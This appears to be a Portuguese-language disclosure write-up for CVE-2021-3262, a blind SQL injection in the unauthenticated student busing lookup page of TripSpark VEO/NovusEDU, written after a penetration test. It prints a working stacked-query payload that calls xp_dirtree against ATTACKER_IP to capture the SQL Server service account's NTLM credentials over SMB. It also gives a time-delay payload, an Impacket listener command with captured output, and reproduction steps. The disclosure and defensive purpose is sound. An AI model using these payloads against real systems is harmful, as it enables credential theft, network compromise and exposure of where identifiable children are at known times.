
CVE-2021-3262 - Injeção SQL cega no parâmetro editOEN do TripSpark VEO Transportation / NovusEDU. Sem autenticação, exposto à internet. Payloads, requisições anotadas e evidências.
Injeção de SQL em TripSpark VEO Transportation / NovusEDU
A página pública de consulta "Student Busing Information" distribuída com o TripSpark VEO
Transportation recebe entrada não autenticada no corpo do POST e a concatena em uma consulta
SQL Server sem parametrização ou validação no lado do servidor. O parâmetro editOEN
(o campo do número do aluno) é injetável.
A injeção é cega: a aplicação não retorna erros de banco de dados nem conteúdo diferencial
que valha a pena ler. Ainda assim, é totalmente explorável fora de banda, porque a conexão
com o banco de dados pode alcançar master.dbo.xp_dirtree, o que força a conta de serviço
do SQL Server a autenticar para fora via SMB em um caminho UNC fornecido pelo atacante.
Encontrada durante um teste de penetração externo. No engajamento original, a credencial capturada da conta de serviço foi o ponto de apoio inicial que levou ao comprometimento total do domínio e da floresta do Active Directory do cliente.
Publicada como CVE-2021-3262. Descoberta e reportada por Sedric Louissaint da Show Up Show Out Security.
| CVE | CVE-2021-3262 |
| Produto | TripSpark VEO Transportation / NovusEDU |
| Afetado | NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS |
| Fraqueza | CWE-89: Injeção de SQL |
| CVSS 3.1 (NVD) | 9.8 Crítica CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (pesquisador) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Publicado | 2023-08-29 |
| Testado em | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| Autenticação necessária | Nenhuma. A página de consulta é voltada para a internet por design. |
Descrição do NVD:
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 permite entradas de dados inseguras nos parâmetros do corpo de POST de usuários finais, sem sanitização usando lógica no lado do servidor. Foi possível injetar comandos SQL personalizados nas consultas de busca "Student Busing Information".
Os distritos implantam a página "Student Busing Information" em seus sites públicos para que os pais possam consultar a atribuição de ônibus de um aluno. Ela solicita um N Number do aluno e uma data de nascimento, e é intencionalmente não autenticada.

O campo N Number é enviado como editOEN. A data de nascimento é enviada como cboxMonth,
cboxDay e cboxYear. editOEN é o parâmetro injetável.
Ao contrário de muitas aplicações ASP.NET dessa época, esta página não ecoa erros de banco de dados. Não há diferença visível entre uma consulta bem formada e uma quebrada, então técnicas in-band são um beco sem saída.
Consultas empilhadas de fato são executadas, o que é tudo o que é necessário.
master.dbo.xp_dirtree enumera um diretório. Dado um caminho UNC, o SQL Server autentica no
host de destino via SMB antes de lê-lo. Apontá-lo para um listener transforma uma injeção
silenciosa em uma visível:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

A requisição é um POST comum do ASP.NET WebForms, com cerca de 4.700 bytes, a maior parte dos
quais é __VIEWSTATE. A requisição completa está em
poc/exploited-request.http, e os payloads em
poc/payloads.sql.

Com o smbserver.py do Impacket escutando em um host na internet pública, o servidor de banco
de dados dentro da rede do distrito autentica para fora:
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Duas coisas merecem ser nomeadas explicitamente. Primeiro, este é um formulário não autenticado e voltado para a internet que alcança um banco de dados de produção. Segundo, esse servidor de banco de dados tinha permissão para fazer conexões SMB de saída para hosts arbitrários na internet, o que tornou a injeção cega observável.
Além da injeção em si, a credencial NTLMv2 capturada para a conta de serviço do SQL Server foi o ponto de apoio inicial no engajamento original. A partir daí, a avaliação escalou para o comprometimento total do domínio e da floresta do Active Directory do cliente.
Os dados em risco são os registros de transporte escolar: nomes, endereços residenciais, ônibus designado, ponto de embarque designado, horários de coleta e rotas de educação especial. Trata-se de uma agenda de onde crianças identificáveis estarão fisicamente em horários conhecidos.
Em uma instância de laboratório que você possua ou esteja autorizado a testar:
sudo smbserver.py c . -smb2support
xp_dirtree de
poc/payloads.sql no campo N Number, substituindo pelo seu próprio IP.
Capture e repita o POST em vez de digitar no navegador se o campo tiver um limite de
comprimento no lado do cliente, já que esse limite não existe no lado do servidor.123'; waitfor delay '0:0:10';--
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
Os identificadores de cliente nas capturas foram ocultados. Os endereços dos listeners são do engajamento original e já estão mortos há muito tempo. Substitua pelos seus ao reproduzir.
editOEN como um parâmetro e o payload se torna uma
string inerte, não importa o que contenha.xp_dirtree e às outras stored procedures estendidas.| Data | Evento |
|---|---|
| 2021 | Encontrada durante um teste de penetração externo e reportada à TripSpark |
| 2023-08-29 | CVE-2021-3262 publicada no NVD, com pontuação 9.8 Crítica |
Publicado após a divulgação, para uso defensivo e educacional. Não execute esses payloads contra sistemas que você não possua ou para os quais não tenha autorização por escrito para testar. Se você administra uma implantação de distrito, a ação útil aqui é perguntar ao seu fornecedor, por escrito, se as consultas por trás dos seus formulários públicos são parametrizadas.